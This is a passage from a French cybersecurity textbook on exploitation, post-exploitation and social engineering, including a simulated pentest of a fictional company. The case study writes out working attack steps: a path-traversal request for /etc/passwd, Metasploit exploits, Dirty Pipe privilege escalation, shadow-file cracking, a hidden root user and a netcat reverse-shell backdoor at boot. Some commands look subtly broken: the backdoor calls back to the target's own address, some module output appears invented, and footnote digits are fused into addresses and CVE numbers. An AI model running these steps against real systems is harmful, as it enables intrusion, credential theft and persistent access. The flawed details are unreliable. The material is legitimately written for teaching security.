			- Sur Windows, extraire des listes d’utilisateurs à partir d’une session SMB authentifiée : l’attaquant établit d’abord une session avec « net use » en utilisant un compte dont il dispose déjà, puis il lance un outil comme enum.

			À la fin de la phase de scan, l’attaquant procède à l’inventaire des informations collectées et des vulnérabilités identifiées, et s’apprête à les exploiter.

			Exploitation

			

			L’exploitation d’une cible est considérée réussie quand l’attaquant obtient le contrôle d’un shell qui lui permet d’exécuter des commandes sur la machine victime. Parfois, cette prise de main est réalisée en deux temps : d’abord l’attaquant obtient un accès avec des droits limités, puis il passe administrateur en réalisant une attaque d’escalade de privilèges.

			Dans les cas d’exploitation malveillante, le pirate se sert de cette prise de contrôle pour exfiltrer des données, écouter le trafic, reconfigurer le système ou installer un malware.

			L’intérêt d’aller jusqu’à l’exploitation lors d’un pentest est de fournir au client une preuve de l’exploitabilité des vulnérabilités de son système d’exploitation, et de l’amener ainsi à une compréhension plus fine de ses risques métier.

			On distingue trois catégories d’exploits :

			- Les exploits côté serveur, qui attaquent un service en écoute sur le réseau, dans le but principal de prendre le contrôle du serveur hôte ou, faute de mieux, de provoquer un déni de service.

			- Les exploits côté client, qui attaquent les applications, notamment les navigateurs web, qui récupèrent des données auprès du serveur contrôlé par l’attaquant. La victime est souvent amenée à cliquer sur un lien piégé à travers un phishing.

			- Les escalades de privilèges locales, à travers lesquelles l’attaquant acquiert les droits d’administration à partir d’un compte à bas privilèges, par exemple en exploitant des failles du noyau de l’OS hôte.

			L’outil d’exploitation le plus utilisé par les pentesters, mais aussi par les pirates, est sans doute Metasploit, framework libre et open source, écrit principalement en Ruby, qui a vu le jour au début des années 2000.

			Avant, les attaquants devaient « bricoler à la main » les codes sources des exploits ; avec Metasploit, il suffit de piocher les bons exploits pour les bonnes cibles dans son immense collection de codes d’exploitation.

			Le point fort de Metasploit est sa modularité, et plus spécifiquement la séparation entre les exploits et les payloads, répertoriés dans deux collections différentes. La différence est subtile mais importante :

			- Les exploits sont des programmes qui profitent d’une vulnérabilité pour faire exécuter au système ciblé un payload choisi.

			

			- Les payloads sont des programmes qui s’exécutent sur la machine victime, afin que l’attaquant puisse la contrôler à loisir, en général en lui ouvrant un shell ou une GUI.

			Cela apporte une grande flexibilité pour l’attaquant : pour chaque exploit, il peut choisir parmi des dizaines de payloads compatibles.

			Une ultérieure distinction existe pour les payloads, qui sont à leur tour modulaires :

			- Stager, qui se charge en premier dans la mémoire de la machine victime, implémente la communication réseau et charge le stage. Parmi les stagers, le plus populaire est peut-être reverse_tcp, qui lance un reverse shell sur la cible ; le concept de reverse shell est similaire à celui de backdoor, mais avec une connexion initiée par la victime, vers un port que le pare-feu autorise en sortie (en général le 443, sur lequel la console Metasploit de l’attaquant est en écoute).

			- Stage, chargé par le stager, qui implémente les fonctionnalités de shell à distance, contrôle de la GUI, parfois keylogger, etc. Le stage le plus populaire est meterpreter.

			Les principales commandes qui font partie du framework Metasploit sont :

			- « msfconsole », qui permet de lancer la console principale.

			- « msfvenom », qui permet de convertir un payload en fichier exécutable (.exe, binaire Linux, script, etc.) et de l’encoder pour compliquer sa détection par les antivirus.

			- « msfd », le démon qui tourne en arrière-plan, auquel la console se connecte par défaut sur le port 55554.

			Au-delà de Metasploit, il est utile de citer d’autres outils auxquels on faire recours dans la phase d’exploitation : 

			- Zed Attack Proxy (ZAP) de l’OWASP, outil open source qui permet la manipulation du trafic avec une cible web.

			- Burp Suite, outil incontournable pour les pentests web, disponible en version libre et payante.

			- sqlmap, le logiciel le plus utilisé pour réaliser des injections SQL.

			- Browser Exploitation Framework (BeEF), qui permet de prendre le contrôle sur des navigateurs Web « zombisés ».

			

			- Social Engineering Toolkit (SET), qui permet d’automatiser les attaques d’ingénierie sociale.

			- THC-Hydra, outil pour « bruteforcer » des services d’authentification distants.

			Notons enfin qu’il existe une distribution Linux qui regroupe une très large collection d’outils nécessaires aux tests de sécurité : il s’agit de Kali Linux.
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							Il est possible de créer une sorte de laboratoire de hacking sur son ordinateur en déployant une instance de Kali Linux et une instance de Metasploitable (https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).

							Il existe aussi de nombreux sites qui permettent d’affûter ses compétences de sécurité offensive en toute légalité :

							- https://www.hackthebox.eu/, qui met les utilisateurs au défi de « rooter » des instances de machines virtuelles vulnérables.

							- https://www.root-me.org/, plateforme en langue française très riche en challenges de hacking.

							- https://www.newbiecontest.org/, autre site en langue française très prisé par les étudiants.

						
					

				
			

			

			Post-exploitation

			Les méthodes d’exploitation décrites précédemment ont pour but de donner au pentester un accès à la machine cible sous forme de shell (cmd.exe, /bin/sh ou Meterpreter).

			Que faire avec cet accès ? C’est que là que la post-exploitation entre en jeu : l’attaquant cherchera à explorer le système auquel il a gagné l’accès, à conserver son accès et à rebondir vers d’autres systèmes. Dans ce dernier cas, on parle de pivoting ou de « mouvement latéral ».

			Examinons les principales activités de post-exploitation.

			Déplacement de fichiers

			Après avoir gagné l’accès à un système, un attaquant souhaite souvent déplacer des fichiers vers la cible (par exemple des outils de hacking), ou depuis la cible (exfiltration de données).

			Parmi les mécanismes les plus communs, il y a les protocoles FTP, TFTP, SCP (qui fait partie de la suite SSH), HTTP/HTTPS, SMB, NFS et éventuellement Netcat. Le « super-shell » Meterpreter inclut deux commandes de transfert de fichiers : « upload » et « download ».

			Notons que la présence d’outils réseau sur la machine cible aidera grandement l’attaquant ; cela donne l’occasion de rappeler l’un des principes du durcissement : il faut supprimer des systèmes tous les logiciels inutiles.

			Pillage de données

			

			L’attaquant cherchera à collecter autant d’informations possibles sur la machine compromise, principalement afin de compromettre d’autres systèmes dans le réseau.

			Parmi les cibles les plus « juteuses », citons :

			- Représentations de mots de passe : fichiers /etc/passwd et /etc/shadow sur Linux, base de données SAM pour Windows, identifiants et mots de passe en cache, bases de gestionnaires de mots de passe.

			- Clés cryptographiques : clés SSH, PGP et GPG.

			- Code source d’applications, dans le but idéal d’y trouver des secrets codés en dur ou des vulnérabilités.

			- Fichiers de type « password.txt », contenant des mots de passe notés en clair par les utilisateurs.

			- Clés Wi-Fi, très faciles à exporter sous Windows en format XML, en clair.

			- Résultats des commandes « netstat », « arp », « ipconfig/ifconfig/ip ».

			- Résultats d’un balayage par ping.

			- Fichiers de zone DNS.

			- Liste de logiciels installés, par exemple à travers la commande dir /s « C:\Program Files ».

			- Listes d’utilisateurs, par exemple à travers les commandes « net user » et « net localgroup administrators ».

			Modification des configurations

			Si c’est autorisé par les règles d’engagement, le pentester peut modifier des configurations dans le but d’évoluer plus librement sur les systèmes compromis :

			- Modification des ports autorisés en entrée par le pare-feu local.

			- Désactivation du pare-feu.

			- Désactivation de l’antivirus.

			- Modification des clés de registre.

			- Programmer des tâches avec les commandes at ou schtasks.

			

			- Créer de nouveaux services système.

			Exécution de commandes

			Le pentester peut chercher à exécuter des commandes sur des machines tierces, à partir de la machine compromise.

			Parmi les outils à disposition sur les systèmes Windows, citons psexec, sc et wmic.

			Powershell offre d’intéressantes possibilités aux attaquants, grâce à sa richesse qui permet de réaliser des opérations complexes en quelques lignes, par exemple (cf. sans.org) :

			- 1..255 | % {ping -n 1 192.168.1.$_ | sls ttl} effectue un balayage par ping d’un réseau /24.

			- 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect(« 10.0.0.100 »,$_)) « Port $_ is open !”} 2>$null effectue un scan de ports.

			

			Cracking de mots de passe

			Une fois que l’attaquant a obtenu des condensats (hashes) de mots de passe, il essaie de les « craquer » pour obtenir les valeurs en clair correspondantes. Mis à part le cas presque anecdotique de hashes obtenus à partir d’algorithmes dépréciés et donc facilement cassables, le cracking emploie la force brute, avec plusieurs variantes d’attaque :

			- Attaque par dictionnaire : l’attaquant constitue une collection de mots à partir de plusieurs sources (listes de mots de passe fuités, top 1 000 des mots de passe les plus utilisés, noms de villes et pays, prénoms, tous les mots d’une langue donnée, etc.) et compare un par un les hashes de ces mots avec le hash à casser.

			- Attaque bruteforce : l’attaquant essaie tous les mots possibles de X caractères (AA…AA, AA…AB, etc.), dans la mesure où l’explosion exponentielle des possibilités le lui permet.

			- Attaque hybride : l’attaquant essaie des mots de passe issus d’une racine appartenant à un dictionnaire, avec des préfixes ou suffixes variables (ex : P@ssw0rd!0001, P@ssw0rd!0002, etc.).

			- Attaque online : l’attaquant soumet le hash à casser à un site comme https://crackstation.net/, ou fait tout simplement un copier-coller du hash dans un moteur de recherche généraliste comme Google.

			L’un des outils les plus populaires pour casser les mots de passe est Hashcat, qui permet d’exploiter la puissance de calcul des cartes graphiques (GPU). John the Ripper est un autre outil de cracking, plus ancien.

			Notons que certains hashes de mots de passe se prêtent à être cassés à travers un procédé bien plus efficace que le cycle évoque « guess – hash – compare – repeat » : les rainbow tables, qui sont une sorte de dictionnaire de condensats précalculés. Le salage des mots de passe sert principalement à déjouer ce dernier type d’attaque.

			Persistance

			

			Après avoir compromis une machine, l’attaquant essaie généralement d’assurer que son accès résiste à un redémarrage. Compte tenu de la nature aléatoire de certains codes d’exploitation, il ne faut pas compter sur leur utilisation à outrance sur une même victime ; ce serait trop risqué, car la machine cible pourrait subir un crash, et les conditions de réussite pourraient ne plus être réunies (machine patchée, antivirus mis à jour, etc.).

			Afin de garantir la persistance, l’attaquant cherche donc à installer une backdoor, qui lui permettra de se reconnecter à la machine à sa guise.

			L’un des frameworks les plus puissants pour conserver l’accès à un système compromis est Empire, écrit en Powershell, qui opère en modifiant plusieurs clés de registre, scripts de logon, gestionnaire des tâches ou d’autres fonctionnalités de Windows.
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							- Au sujet du cracking des mots de passe, il est intéressant de connaître la notion d’entropie59 d’un mot de passe.

							- Si on analyse les outils de hacking publiés sur https://github.com/, on peut constater que le langage de programmation le plus apprécié par les pentesters est Python.

						
					

				
			

			

			Étude de cas

			Pour illustrer les concepts de sécurité offensive illustrés dans ce chapitre, voici une étude de cas simulant un test d’intrusion (pentest). Cette étude couvre les phases clés de reconnaissance, scan, exploitation et post-exploitation.

			Contexte

			Une entreprise fictive, Société Dupont, souhaite tester la sécurité de son infrastructure exposée à Internet. L’objectif du pentest est d’identifier des failles potentielles dans un serveur web utilisé pour un portail client.

			Périmètre et cadrage :

			- FQDN du site : client.societe-dupont.fr.

			- Aucun test d’ingénierie sociale n’est autorisé.

			Phase de reconnaissance

			L’objectif est de collecter un maximum d’informations sur la cible, en exploitant des sources publiques et des outils passifs.

			Recherche DNS :

			Utilisation de nslookup60 pour trouver l’adresse IP publique associée au serveur web.

			nslookup client.societe-dupont.fr

			Résultat : l’adresse IP publique du serveur Web est 192.0.2.1561.

			Analyse des métadonnées :

			Téléchargement d’un document public accessible sur le site, puis extraction des métadonnées avec ExifTool62.

			exiftool -all document_public.pdf

			Résultat : document créé par Marie Dupont, adresse mail : marie.dupont@societe-dupont.fr

			Scan passif des ports :

			Utilisation de Shodan63 pour collecter des informations sur les services accessibles via le FQDN client.societe-dupont.fr

			shodan host 192.0.2.15

			Résultat :

			- IP : 192.0.2.15

			- Ports ouverts : 80, 443

			- Services :

			- Port 80 : Apache/2.4.49

			- Port 443 : Apache/2.4.49 (SSL)

			Phase de scan

			Scan des ports et services :

			Utilisation de nmap64, avec activation de la détection de version et l’exécution des scripts par défaut, pour obtenir plus d’informations sur l’adresse IP ciblée.

			

			nmap -sV -sC 192.0.2.15

			Résultat : le scan confirme l’ouverture des ports 80 et 443, ainsi que la version du serveur web (Apache httpd 2.4.49).

			Analyse des vulnérabilités :

			Utilisation de nikto65, scanner web open source.

			nikto -h http://192.0.2.15

			Résultat : le serveur web est vulnérable à une attaque de type path traversal (CVE-2021-4177366).

			Utilisation de OWASP Zed Attack Proxy (ZAP)67.

			zap-cli scan http://client.societe-dupont.fr/login

			Résultat :

			- Injection SQL détectée sur le formulaire de connexion à l’URL : http://client.societe-dupont.fr/login

			- Paramètres vulnérables : username, password.

			Phase d’exploitation

			Exploitation de la faille path traversal :

			Utilisation de curl68, outil en ligne de commande utilisé pour interagir avec des ressources web.

			curl http://192.0.2.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

			Résultat : récupération du fichier /etc/passwd, incluant les noms des utilisateurs sur le système qui héberge le serveur web.

			Utilisation de Metasploit69, framework facilitant l’exploitation automatique des vulnérabilités, afin d’obtenir un accès sur le système d’exploitation.

			use exploit/multi/http/apache_normalize_path

			set RHOSTS 192.0.2.15

			set TARGETURI /cgi-bin/

			exploit

			Résultat : ouverture d’une session interactive sur le serveur web, à travers une console Meterpreter70.

			[+] Successfully exploited!

			Meterpreter session opened on 192.0.2.15.

			meterpreter >

			Escalade de privilèges :

			À partir de la console Meterpreter, obtention de la version du système d’exploitation.

			meterpreter > shell

			$ uname -a

			Résultat : noyau Linux 5.10.12, vulnérable à Dirty Pipe (CVE-2022-084771).

			Exploitation de la vulnérabilité Dirty Pipe, à travers Metasploit.

			meterpreter > run post/multi/manage/dirty_pipe

			Résultat : 

			meterpreter > shell

			# id

			

			uid=0(root) gid=0(root) groups=0(root)

			Le pentester obtient ainsi les droits d’administration sur le serveur.

			Phase de post-exploitation

			Accès complet au système de fichiers :

			Après avoir obtenu les droits d’administration, le pentester peut parcourir librement tout le système de fichiers et collecter des informations sensibles, notamment :

			- Clés SSH (par exemple /root/.ssh/id_rsa).

			- Fichier avec les condensats des mots de passe (/etc/shadow).

			Cracking des mots de passe :

			Téléchargement du fichier /etc/shadow, préparation du fichier d’entrée pour Hashcat72 :

			unshadow passwd_copy shadow_local_copy > hashcat_input.txt

			Cracking des mots de passe avec Hashcat, en utilisant le fichier de mots de passe Rockyou et le mode 1800, utilisé pour les condensats de type SHA-512 :

			hashcat -m 1800 -a 0 hashcat_input.txt /usr/share/wordlists/rockyou.txt

			Résultat : découverte des mots de passe des utilisateurs Marie et Paul.

			Mouvement latéral :

			Utilisation des mots de passe extraits pour accéder à d’autres systèmes dans le réseau, par exemple à travers ssh pour les systèmes Linux ou RDP pour les systèmes Windows.

			

			Persistence :

			Création d’un nouvel utilisateur nommé sysop, avec les droits root :

			# useradd -m -p MonMotDePasse -G root sysop

			Mise en place d’une backdoor à travers un script qui lance Netcat73 à chaque redémarrage :

			# echo “nc -e /bin/bash 192.0.2.15 4444” > /etc/init.d/backdoor.sh

			# chmod +x /etc/init.d/backdoor.sh

			# update-rc.d backdoor.sh defaults

			En alternative, mise en place de la persistance à travers Meterpreter :

			meterpreter > run persistence -U -i 10 -p 4444 -r 192.0.2.15

			Résultat : backdoor ouverte sur le port 4444.

			Meterpreter persistence established. Listening for incoming connections on 192.0.2.15:4444.
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			Chapitre 9

			Piratage psychologique

			Ingénierie sociale

			Définition

			Dans le contexte de la sécurité de l’information, l’ingénierie sociale est la manipulation psychologique des personnes pour qu’elles accomplissent des actions ou divulguent des informations confidentielles. Il serait plus approprié de désigner cette pratique comme du piratage psychologique ou de la fraude psychologique, afin d’éviter toute confusion avec l’ingénierie sociale en tant que discipline des sciences sociales, et pour mettre en évidence le concept de « tromperie ».

			

			Arme redoutable couramment utilisée dans les attaques informatiques, l’ingénierie sociale vise à exploiter les faiblesses cognitives qui caractérisent l’homme en tant qu’espèce. Ces faiblesses, biais et raccourcis sont « codés en dur » dans nos cerveaux, et résultent de notre histoire évolutive, dans laquelle on peut supposer qu’ils ont joué un rôle important.

			Les professionnels de la sécurité ont l’habitude de corriger les vulnérabilités technologiques, issues de défauts de mise à jour, d’erreurs de configuration ou de mauvaises pratiques de développement logiciel. Cependant, il est clair que les vulnérabilités psychologiques que nous venons d’évoquer ne se traitent pas si facilement ; il existe pourtant des techniques pour réduire le risque qu’elles soient exploitées.

			Ce chapitre comporte trois parties :

			- Une description des techniques d’ingénierie sociale, avec une attention particulière portée aux différentes formes de phishing et au cycle de vie d’un piratage psychologique.

			- Une revue des principes de persuasion que les attaquants utilisent dans le but de manipuler leurs victimes et influencer leur comportement.

			- Une analyse des biais psychologiques qui se prêtent le plus à une exploitation malveillante.

			Considérations générales

			Toute organisation devrait s’intéresser à l’ingénierie sociale, pourtant il n’est pas rare que cette menace soit négligée, et que l’effort soit concentré sur l’implémentation de mesures de sécurité purement techniques. Certes, les mesures techniques sont utiles, mais si l’on ne donne pas à l’humain une place privilégiée dans la démarche de sécurisation, il sera inévitablement le maillon faible de la chaîne.

			Il n’existe pas de règle miraculeuse pour se protéger de façon imparable contre les menaces qui relèvent du piratage psychologique, d’autant plus qu’elles exploitent des mécanismes profondément ancrés dans nos cerveaux.

			

			Faut-il pour autant baisser les bras ? Absolument pas. Certes, il est illusoire de penser que le risque peut être réduit à zéro, néanmoins sa diminution à un niveau acceptable est un objectif réaliste.

			Une organisation peut y parvenir en appliquant le principe de défense en profondeur, décrit dans les premiers chapitres.

			Dans tous les cas, un programme de sécurité ne peut réussir que si la direction de l’organisation fait preuve d’une réelle implication, en allouant les moyens nécessaires aux niveaux financier et humain, et en étant exemplaire dans le respect des politiques de sécurité.

			Phishing

			Le phishing, ou hameçonnage, est le principal vecteur du piratage psychologique. Il existe sous différentes formes, qui partagent le même objectif : faire croire à la victime qu’elle s’adresse à un tiers de confiance, afin de lui soutirer des informations sensibles (numéros de carte bancaire, identifiants, mots de passe, documents confidentiels…), et la pousser à des actions contre son intérêt (virements frauduleux, installation de malware, violation de procédures…).

			Phishing par courriel

			Il s’agit de la variante la plus classique, qui utilise la messagerie électronique pour délivrer des messages piégés.

			Il existe plusieurs variantes du phishing par courriel : aux extrêmes opposés en termes de personnalisation, on trouve le phishing de masse et le spear phishing (« harponnage » selon les Québécois).

			Les messages qui relèvent du phishing de masse ne sont pas personnalisés et ne ciblent pas une organisation ou un individu en particulier. Ils ratissent très large, « arrosant » des milliers voire des millions d’adresses électroniques, avec les mêmes techniques de diffusion des spammers, qui s’appuient volontiers sur des réseaux d’ordinateurs compromis (botnets) pilotés par un serveur de Command and Control (C2).

			

			Cependant, si le but principal du spam est publicitaire, le but du phishing de masse est frauduleux : il cherche à attirer des victimes vers des sites piégés, qui présentent l’apparence de sites légitimes (banques, opérateurs de streaming, impôts, etc.). Ces sites malveillants cherchent en général à installer du malware sur les ordinateurs des victimes, en exploitant des failles des navigateurs web, ou à soutirer des informations financières à travers des formulaires identiques aux originaux. Il est évident que le niveau de culture informatique est inversement corrélé à la probabilité de tomber victime du phishing de masse : un jeune informaticien est moins vulnérable qu’une personne retraitée qui ne connaît pas les rouages d’Internet.

			Cela n’est pas forcément vrai pour le plus sournois spear phishing ! Avec cette méthode, l’attaquant cible une personne ou un groupe de personnes spécifiques. Les messages sont plus ou moins personnalisés, en fonction du temps que l’attaquant investit dans la phase de renseignement. Plus il aura collecté d’éléments, plus il sera en mesure de forger un message crédible, susceptible de vaincre la méfiance de la victime.

			Un type spécifique de spear phishing est le whaling, littéralement « chasse à la baleine » ; dans ce cas, l’attaquant cible « les plus gros poissons » d’une organisation (président, direction générale, top management).

			La compromission de la messagerie d’un haut responsable peut d’ailleurs servir comme base pour une fraude au président. Cette attaque cible généralement des employés des services financiers et comptables, auxquels l’attaquant adresse des demandes de virement frauduleuses sous la fausse identité du manager, à destination d’un compte qu’il contrôle. Ces messages contiennent souvent une notion d’extrême urgence et l’injonction de passer outre les procédures standard, en faisant levier sur le respect de l’autorité. Tomber dans le piège peut coûter extrêmement cher : un certain nombre d’organisations ont perdu des dizaines de millions de dollars à cause de telles attaques.

			

			Phishing par SMS

			Le phishing par SMS ou smishing est conceptuellement similaire au phishing par courriel, sauf que les attaquants utilisent des SMS pour délivrer l’appât. Ces attaques invitent généralement l’utilisateur à cliquer sur un lien, à appeler un numéro de téléphone ou à contacter une adresse courriel fournie par l’attaquant. La victime est alors invitée à fournir ses données personnelles, souvent des informations d’identification à d’autres sites web ou services. Il est intéressant de remarquer qu’en raison de la nature des navigateurs mobiles, les URL peuvent ne pas être entièrement affichées ; cela peut rendre plus difficile l’identification d’une page de connexion illégitime. Le marché de la téléphonie mobile étant désormais saturé de smartphones disposant tous d’une connectivité internet rapide, un lien malveillant envoyé par SMS peut donner le même résultat que s’il était envoyé par courriel.

			Phishing par téléphone

			Les appels téléphoniques sont une arme redoutable dans les mains d’un pirate déterminé et compétent. On parle dans ce cas de voice phishing ou vishing. Comme pour le phishing par courriel, il existe un large spectre d’attaques : cela va des appels en masse avec répétition du même script aux appels ciblés issus d’un long travail de préparation et de renseignement.

			La flexibilité et le bas coût de la voix sur IP permettent aux attaquants d’usurper facilement le numéro appelant et de mettre en place des serveurs vocaux interactifs complexes.

			L’émergence des technologies liées au machine learning ouvre la porte à une nouvelle catégorie d’attaques très sophistiquées, dans lesquelles le pirate ne se limite pas à usurper le numéro du prétendu appelant, mais emprunte même sa voix et son visage (pour des appels visio). On parle dans ce cas de deepfake ou, en français, d’« hypertrucage ».

			Note sur la terminologie

			

			La première utilisation enregistrée du terme phishing remonte à l’année 1995. Le mot est une variante leetspeak de fishing (« ph » est un remplacement courant de « f »), probablement influencé par le phreaking, et fait allusion à l’utilisation de leurres de plus en plus sophistiqués pour « pêcher » les informations sensibles des utilisateurs.

			« Hameçonnage » est un néologisme québécois créé en avril 2004 par l’Office québécois de la langue française. En France, la Commission générale de terminologie et de néologie a choisi « filoutage » en 2006, tout en précisant que le terme « hameçonnage » était aussi en usage.

			Le nom « attaque de point d’eau » fait référence à un prédateur qui, au lieu d’aller attaquer sa proie sur son territoire, préfère l’attendre à un endroit où il est sûr qu’elle viendra (pour s’abreuver, selon l’analogie).

			Étapes d’une attaque

			Collecte d’informations

			La première phase d’une attaque d’ingénierie sociale est celle du renseignement ; elle permet au pirate de récolter les éléments nécessaires pour piéger la victime.

			Généralement, les sources utilisées sont publiquement disponibles ; on parle dans ce cas d’OSINT (Open Source Intelligence, en français « renseignement d’origine sources ouvertes »).

			Voici une liste non exhaustive des informations recherchées au sujet de la personne dans le viseur :

			- Données personnelles de base (nom, prénom, date de naissance, lieu de naissance, adresse postale, nationalité, photos…) ;

			- Données de contact (adresse de messagerie, numéro de téléphone, identifiants dans les réseaux sociaux…).

			- Situation familiale (l’éventuel conjoint et les proches peuvent aussi faire l’objet d’une collecte d’informations poussée).

			

			- Situation professionnelle (employeur, poste occupé, lieu de travail, horaires, supérieurs hiérarchiques, collègues du même niveau, membres de son éventuelle équipe, assistant…).

			- Intérêts extra-professionnels (hobbies, sport, activités associatives, engagement politique, contributions aux logiciels open source…).

			- Données sur l’entreprise (chiffre d’affaires, nombre de salariés, présence géographique, offres d’emploi, interfaces avec le public, procédures, éléments de langage spécifiques, noms de domaine, adresses IP…).

			Internet est sans doute la principale source utilisée dans cette recherche d’informations :

			- Moteurs de recherche.

			- Pages web personnelles.

			- Blogs.

			- Sites web d’entreprise.

			- Réseaux sociaux personnels.

			- Réseaux sociaux professionnels.

			- Groupes de discussion et forums.

			- Sites d’annonces.

			- Sites de rencontre.

			- Offres d’emploi.

			- Sites pour le développement informatique.

			Les pirates peuvent aussi utiliser des méthodes de renseignement plus agressives, qui dépassent dans certains cas les limites de la légalité :

			- Dumpster diving : fouille des poubelles à la recherche de documents confidentiels, manuels techniques, informations commerciales, etc.

			- Dark Web, notamment pour essayer de mettre la main sur des informations volées pertinentes par rapport à la victime (collections d’identifiants et mots de passe, numéros de carte bancaire volés, fuites d’informations médicales…).

			- Inspections physiques, notamment après s’être introduit dans les locaux à travers du talonnage (piggybacking ou tailgating en anglais), autrement dit en exploitant l’ouverture d’une porte par une personne autorisée.

			

			- Intrusion réseau, suivi d’un monitorage du trafic à la recherche notamment de mots de passe en clair.

			- Détective privé : pas vraiment dans l’esprit d’un social engineer « full stack », qui maîtrise lui-même les techniques d’investigation.

			- Interaction avec des personnes de l’entourage de la victime.

			Une fois les informations collectées, l’ingénieur social s’emploie à la préparation d’un plan d’attaque. La qualité du renseignement détermine la réussite de l’opération.

			Début de l’interaction

			Un certain imaginaire collectif voit le pirate informatique comme un geek introverti, qui fuit les rapports interpersonnels et passe sa vie, surtout ses nuits, devant l’ordinateur. Les ingénieurs sociaux les plus redoutables sont probablement à l’opposé de cette image : charmeurs, aimant le contact, capables d’empathie et fins connaisseurs de la psychologie humaine.

			Quand ils lancent la première prise de contact avec une victime, leur objectif est d’assoir leur crédibilité, tout en se faisant passer pour quelqu’un d’autre.

			En fonction du scénario d’attaque concocté, le pirate peut assumer plusieurs visages, la seule limite étant son imagination :

			- Dirigeant de l’entreprise (cela fonctionne mieux dans les grosses structures, réparties sur plusieurs sites géographiques).

			- Membre de l’équipe de support technique interne.

			- Membre de l’équipe de sécurité informatique.

			- Nouvelle recrue qui fait ses premiers pas dans l’organisation.

			- Fournisseur (idéalement stratégique).

			- Client (idéalement important).

			- Prospect intéressé par les produits et services de l’entreprise.

			- Journaliste.

			- Membre des forces de l’ordre.

			

			Pour gagner la confiance de son interlocuteur, l’ingénieur social dispose de plusieurs leviers psychologiques, qui feront l’objet d’une description détaillée dans les prochains modules du cours.

			Les deux techniques suivantes peuvent être considérées comme « passe-partout », applicables à la plupart des scénarios d’exploitation :

			Utilisation d’éléments de langage spécifiques à l’organisation ciblée : acronymes, jargon, termes techniques du métier, noms de produits, références aux procédures internes. Leur utilisation est rassurante et crée un lien entre les interlocuteurs.

			Usurpation de l’identité affichée : utilisation d’un faux nom, spoofing d’adresse IP, présentation d’un faux numéro de téléphone, etc. Falsifier une adresse e-mail est très simple si le domaine usurpé n’est pas protégé par les mécanismes de SPF, DKIM et DMARC, ce qui est encore relativement fréquent. Bien sûr, c’est encore mieux pour le pirate d’utiliser un vrai compte de messagerie compromis, idéalement celui d’un dirigeant de l’organisation ciblée.

			Requête

			Après avoir établi la confiance, il est temps pour l’attaquant de récolter les fruits de son travail de préparation, en provoquant une action de sa victime, typiquement :

			- Révéler une information sensible (identifiant, mot de passe, numéro de carte bancaire, numéro de sécurité sociale…).

			- Transmettre des données confidentielles (éléments d’un dossier, code source d’une application, rapports, listes, documentation…).

			- Installer du malware (cheval de Troie, enregistreur de frappes, porte dérobée, logiciel espion…).

			- Réaliser une action technique (connecter des câbles, modifier la configuration d’un équipement réseau, créer un compte d’accès, désactiver des mesures de sécurité…).

			Selon le scénario choisi et le rôle joué, l’attaquant peut assumer différentes postures, en modulant son niveau de directivité et d’agréabilité :

			- Être chaleureux et avenant, prétendre d’être en difficulté et demander de l’aide.

			

			- Être ferme, présentant sa demande comme un ordre venant d’un supérieur ou en général d’une figure d’autorité.

			- Se montrer contrarié et pressé, n’hésitant pas à prendre un ton menaçant.

			- Afficher un fort enthousiasme et faire miroiter des avantages alléchants.

			- Annoncer une difficulté technique imprévue, mais offrir de l’aide pour la résoudre, avec la collaboration de la victime.

			Il est tout à fait possible que la victime pose des questions : cela complique bien sûr la tâche de l’ingénieur social, mais celui-ci peut toujours avoir recours aux informations collectées dans la phase de renseignement et, faute de mieux, à ses talents d’improvisation.

			Fin de l’interaction

			Après avoir obtenu les informations convoitées, on pourrait croire que le pirate se dépêcherait de couper court et clôturer l’interaction avec la victime, dans l’idée de ne pas perdre de temps et passer rapidement à l’exploitation du butin.

			Au contraire, les ingénieurs sociaux essaient en général de terminer l’échange en douceur, par exemple en continuant à bavarder un peu de la pluie et du beau temps, ou alors en remerciant amplement la victime pour son aide.

			Pourquoi cela ? Deux principales raisons :

			- Ne pas « griller le contact », dans le but de l’utiliser ultérieurement : une fin d’interaction trop abrupte pourrait provoquer de la méfiance et faire prendre conscience à la victime qu’elle a été dupée.

			- Noyer la demande cruciale au milieu d’un tas de requêtes plus ou moins anodines, encore une fois pour éviter que la victime se rende compte de l’attaque.

			

			Outillage

			Cette section passe en revue des outils couramment utilisés au moment de l’écriture de ce livre dans les attaques de social engineering ; la plupart d’entre eux sont utilisés dans la phase de renseignement.

			Un moyen simple d’obtenir des informations sur une organisation est l’interrogation de ses serveurs DNS, par exemple à travers :

			- Dig74, outil en ligne de commande qui permet d’afficher les enregistrements DNS (A, AAAA, MX, TXT, etc.) et de tester le transfert de zones.

			- Dnsrecon75, script d’énumération utile pour trouver des sous-domaines cachés.

			- DNSdumpster76, site web qui permet d’afficher une quantité impressionnante de sous-domaines, en s’appuyant sur plusieurs moteurs de crawling.

			• Database WHOIS, annuaire recensant les données techniques et de contact des noms de domaine enregistrés, même si, depuis l’entrée en application du RGPD, les données de contact sont masquées par défaut.

			• La fonctionnalité de recherche « site : » de Google, qui permet de restreindre les résultats à un domaine spécifique.

			Les informations obtenues peuvent être utilisées pour la préparation d’une attaque technique ou pour la création d’un scénario d’interaction avec un membre de l’organisation ciblée.

			Les sites internet et outils suivants sont également précieux lors des opérations de reconnaissance passive qui précèdent les attaques :

			- Shodan77, qui contient une base de données de dispositifs mal sécurisés connectés à Internet (voir aussi ).

			- BuiltWith78, qui détaille les technologies utilisées pour la construction d’un site internet.

			- Hunter79, qui permet de rechercher des adresses e-mail valides appartenant à l’organisation ciblée.

			- Have I been pwned80, qui permet de savoir si une adresse mail donnée a fait l’objet d’une compromission par le passé. Les dumps de mot de passe correspondants se trouvent sur des forums spécialisés (comme https://raidforums.com) ou même des sites comme https://archive.org/

			- SpiderFoot81, qui permet d’accélérer la recherche de renseignements de source ouverte, notamment pour identifier la surface d’attaque d’une organisation.

			Une étape importante dans la collecte d’informations est l’extraction des métadonnées (noms d’utilisateur, noms de domaine, composants logiciels, noms d’ordinateurs, etc.) à partir de documents émanant de l’entité ciblée ; citons ExifTool82, probablement l’outil le plus utilisé pour extraire des métadonnées à partir d’un grand nombre de types de fichiers (PDF, images, audio, vidéo…).

			Un outil très prisé par les ingénieurs sociaux est Maltego83, qui aide dans la recherche et dans l’organisation d’informations publiquement disponibles au sujet de la cible.

			Une fois la phase de reconnaissance achevée, Social Engineering Toolkit84 est l’outil de référence pour créer des sites web d’appât, clonés à partir de sites légitimes, contenant des formulaires pour capturer les informations convoitées.

			

			Principes de persuasion

			Introduction

